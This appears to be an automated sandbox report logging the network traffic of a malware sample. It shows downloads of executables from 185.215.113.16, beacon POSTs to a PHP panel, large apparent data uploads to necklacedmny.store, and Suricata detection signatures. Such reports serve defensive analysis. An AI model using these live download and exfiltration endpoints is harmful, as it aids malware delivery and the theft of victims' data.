Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Fri, 01 Nov 2024 11:30:58 GMTIf-None-Match: "6724bbf2-2ab000"
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 37 37 36 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001776101&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /files/FontCreator.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49956 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49972 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49982 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49980 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49986 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49990 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49978 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49992 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49998 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49995 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49996 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49984 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50000 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50002 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50004 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50007 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50009 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50018 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50023 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50020 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50028 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50031 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50035 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50037 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50042 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50043 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50045 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50026 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50041 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50047 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50049 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50051 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50055 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50057 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50014 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50059 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50063 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50066 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50075 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.7:49782
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.7:49974

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12849Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15081Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20406Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1235Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 563835Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12849Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15081Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20406Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1283Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 563807Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12849Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15081Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20406Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1230Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 567251Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12849Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15081Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20406Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1238Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 567258Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 4_2_00F6BD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,

4_2_00F6BD60

Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
